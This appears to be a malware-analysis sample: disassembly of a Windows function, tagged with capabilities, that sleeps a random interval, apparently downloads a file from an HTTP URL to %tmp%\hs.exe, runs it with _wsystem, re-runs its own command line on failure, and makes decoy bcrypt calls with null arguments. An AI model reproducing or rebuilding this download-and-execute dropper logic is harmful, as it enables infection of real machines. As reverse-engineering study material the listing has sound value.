Function at 0x402691
Capabilities:
Accept command line arguments
Encrypt or decrypt data via bcrypt
Execute command
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x690
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [0x00404060]
add rax, 0x14
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov ecx, dword [rax]
mov r10, rcx
mov rcx, r10
call sub.msvcrt.dll_srand
call fcn.0040150b
call sub.msvcrt.dll_rand
mov ecx, 0x400
cdq
idiv ecx
add edx, 0x1000
mov eax, 0
mov r11, rax
mov r10, rdx
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_SleepEx
mov eax, 0
mov dword [rbp - 0xc], eax
mov eax, dword [rbp + 0x10]
cmp eax, 1
jle 0x402737
mov rax, qword [rbp + 0x18]
add rax, 8
mov ecx, 0x10
mov r8, rcx
movabs rcx, 0
mov r11, rcx
mov rcx, qword [rax]
mov r10, rcx
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strtol
mov dword [rbp - 0xc], eax
call fcn.0040164f
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 0xc]
mov r10, rax
mov rcx, r10
call fcn.004017a7
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x402773
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x402773
jmp 0x4027aa
call sub.kernel32.dll_GetCommandLineW
mov r11, rax
lea rax, [0x004042eb]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.kernel32.dll_GetCommandLineW
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__wsystem
mov eax, 0
jmp 0x402c68
mov eax, 0
mov word [rbp - 0x228], ax
movabs rax, 0x206
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x226]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0
mov word [rbp - 0x430], ax
movabs rax, 0x206
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x42e]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
lea rax, [0x00404022]
mov r9, rax
lea rax, str.__tmp___hs.exe
mov r8, rax
movabs rax, 0x208
mov r11, rax
lea rax, [rbp - 0x430]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
mov eax, 0x104
mov r8, rax
lea rax, [rbp - 0x228]
mov r11, rax
lea rax, [rbp - 0x430]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsW
lea rax, [rbp - 0x228]
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str.http:___ls_ls______ls_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [rbp - 0x228]
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401b09
mov dword [rbp - 0x434], eax
mov eax, 0
mov word [rbp - 0x63c], ax
movabs rax, 0x206
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x63a]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, dword [rbp - 0xc]
add eax, 1
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x228]
mov r9, rax
lea rax, str._s__06x
mov r8, rax
movabs rax, 0x208
mov r11, rax
lea rax, [rbp - 0x63c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
mov eax, dword [rbp - 0x434]
cmp eax, 0
je 0x40298f
call sub.msvcrt.dll_rand
mov ecx, 0x400
cdq
idiv ecx
add edx, 0x1000
mov eax, 0
mov r11, rax
mov r10, rdx
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_SleepEx
lea rax, [rbp - 0x63c]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__wsystem
jmp 0x4029bc
call sub.kernel32.dll_GetCommandLineW
mov r11, rax
lea rax, str.Retrying__ls_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.kernel32.dll_GetCommandLineW
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll__wsystem
lea rax, str.553493356
mov r11, rax
lea rax, str.Grupa_Sendbajt__User_Id:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x0040438e]
mov r11, rax
lea rax, str.d0_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r10, rax
mov rcx, r10
call sub.bcrypt.dll_BCryptSetAuditingInterface
lea rax, [0x00404390]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004043ad]
mov r11, rax
lea rax, str.d1_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov qword [rsp + 0x40], rax
mov eax, 0
mov qword [rsp + 0x38], rax
mov eax, 0
mov qword [rsp + 0x30], rax
mov eax, 0
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptDeriveKeyPBKDF2
lea rax, [0x004043af]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004043cc]
mov r11, rax
lea rax, str.d2_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov qword [rsp + 0x48], rax
mov eax, 0
mov qword [rsp + 0x40], rax
mov eax, 0
mov qword [rsp + 0x38], rax
mov eax, 0
mov qword [rsp + 0x30], rax
mov eax, 0
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptEncrypt
lea rax, [0x004043ce]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004043eb]
mov r11, rax
lea rax, str.d4_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r10, rax
mov rcx, r10
call sub.bcrypt.dll_BCryptDestroyKey
lea rax, [0x004043ed]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x0040440a]
mov r11, rax
lea rax, str.d6_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptEnumAlgorithms
lea rax, [0x0040440c]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x00404429]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
mov qword [rsp + 0x38], rax
mov eax, 0
mov qword [rsp + 0x30], rax
mov eax, 0
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.bcrypt.dll_BCryptSignHash
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret